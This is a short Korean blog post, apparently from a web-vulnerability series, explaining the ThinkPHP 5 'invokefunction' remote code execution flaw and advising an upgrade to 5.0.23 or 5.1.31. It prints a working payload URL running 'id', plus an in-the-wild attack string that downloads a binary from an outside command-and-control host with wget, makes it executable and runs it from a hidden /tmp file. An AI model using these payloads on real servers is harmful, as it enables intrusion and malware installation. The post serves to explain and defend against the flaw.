ThinkPHP는 중국 TopThink에서 개발한 php기반의 웹 애플리케이션 프레임 워크입니다.
Apache2 기반으로 만들어 졌으며, 중국에서는 빠른 프로젝트 개발 진행을 할 수 있었기 때문에 인기가 많았습니다.
ThinkPHP는 URL 쿼리 매개 변수를 분석하여, 모듈과 컨트롤러를 검색합니다.
순서 : 모듈 -> 액션 값 -> ID -> Data 순으로 정립 URL 쿼리는 '/'를 구분자로 사용하여 분석하는데,
해당 취약점은 '\'과 'invokefunction' 함수를 이용하여 구문 분석 및 원격 코드 실행을 할 수 있도록 합니다.
1. Payload
index.php? s = index / \ think \ app / invokefunction & function = call_user_func_array & vars [0] = system & vars [1] [] = id
2. 공격구문
index.php? s = / index / \ think \ app / invokefunction & function = call_user_func_array & vars [0] = shell_exec & vars [1] [] = wget http://cnc.arm7plz.xyz/bins/set.x86 -O / tmp /. eSeAlg; chmod 777 /tmp/.eSeAlg; /tmp/.eSeAlg
페이로드 코드 뒤에 wget, chmod 777 등 시스템 명령어들을 이용하여 해커가 원하는 공격을 수행하게된다.
※ 해결방안
문제를 해결하려면 ThinkPHP 버전 5.0.23 또는 5.1.31로 업그레이드를 권고 드리며,
ThinkPHP5 기반 컨텐츠 관리 시스템을 사용하는 경우이 취약점의 영향을 받을 수 있습니다.
'취약점 [Vulnerability] > 웹 취약점 (Web Vulnerability)' 카테고리의 다른 글
[V-Web] 06. Netlink GPON Router 1.0.11 (원격 코드 실행 취약점) (0) | 2020.05.27 |
---|---|
[V-Web] 05. PHPUnit 원격코드 실행 취약점 (0) | 2020.05.27 |
[V-Web] 04. Netgear DGN1000 / DGN2200 인증우회 취약점 (Multiple Vulnerability) (0) | 2020.05.27 |
[V-Web] 02. PHPmyadmin 취약점 (로그인 페이지 접근 시도) (0) | 2020.05.26 |
[V-Web] 01. 워드프레스 관리자페이지 접근 (WordPress Vulnerability) (2) | 2020.05.26 |